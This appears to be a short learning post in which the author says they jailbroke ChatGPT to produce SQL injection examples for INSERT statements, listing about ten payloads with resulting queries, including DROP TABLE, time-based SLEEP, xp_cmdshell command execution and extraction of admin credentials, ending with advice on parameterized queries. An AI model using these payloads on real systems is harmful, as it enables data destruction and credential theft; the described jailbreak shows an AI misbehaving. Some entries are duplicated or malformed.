This is for SQL INSERT statement. For SELECT statements, please see https://gist.github.com/shriyanss/6192ee7eb80da5efc26916922fc9b035
I simply broke ChatGPT to generate the following examples while I was trying to learn SQL Injections. The following output is completely generated by ChatGPT:-
Certainly, here are examples of malicious inputs that could lead to SQL injection vulnerabilities in INSERT statements, along with the resulting queries. As always, it's crucial to use parameterized queries or prepared statements to prevent SQL injection.
Malicious Input:
'); DROP TABLE Users; --
Resultant Query:
INSERT INTO Users (Username, Password) VALUES (''); DROP TABLE Users; --', 'password');Malicious Input:
', 'Malicious Data') UNION SELECT null, null; --
Resultant Query:
INSERT INTO Users (Username, Password) VALUES ('', 'Malicious Data') UNION SELECT null, null; --', 'password');Malicious Input:
'); CREATE TABLE TestTable (ID INT); --
Resultant Query:
INSERT INTO Users (Username, Password) VALUES (''); CREATE TABLE TestTable (ID INT); --', 'password');Malicious Input:
', IF(1=1, SLEEP(5), 0); --
Resultant Query:
INSERT INTO Users (Username, Password) VALUES ('', IF(1=1, SLEEP(5), 0); --', 'password');Malicious Input:
', '1'='1' AND 'a'='a'; --
Resultant Query:
INSERT INTO Users (Username, Password) VALUES ('', '1'='1' AND 'a'='a'; --', 'password');Malicious Input:
'); EXEC xp_cmdshell('nslookup example.com'); --
Resultant Query:
INSERT INTO Users (Username, Password) VALUES (''); EXEC xp_cmdshell('nslookup example.com'); --', 'password');Malicious Input:
', (SELECT username FROM admin_users), (SELECT password FROM admin_users)); --
Resultant Query:
INSERT INTO Users (Username, Password) VALUES ('', (SELECT username FROM admin_users), (SELECT password FROM admin_users)); --', 'password');Malicious Input:
', 1=1; --
Resultant Query:
INSERT INTO Users (Username, Password) VALUES ('', 1=1; --', 'password');Malicious Input:
', 1=1; --
Resultant Query:
INSERT INTO Users (Username, Password) VALUES ('', 1=1; --', 'password');Malicious Input:
'); IF(1=1, SLEEP(5), 0); --
Resultant Query:
INSERT INTO Users (Username, Password) VALUES (''); IF(1=1, SLEEP(5), 0); --', 'password');Prevent SQL injection in INSERT statements by using parameterized queries or prepared statements and ensuring proper validation and sanitization of user inputs.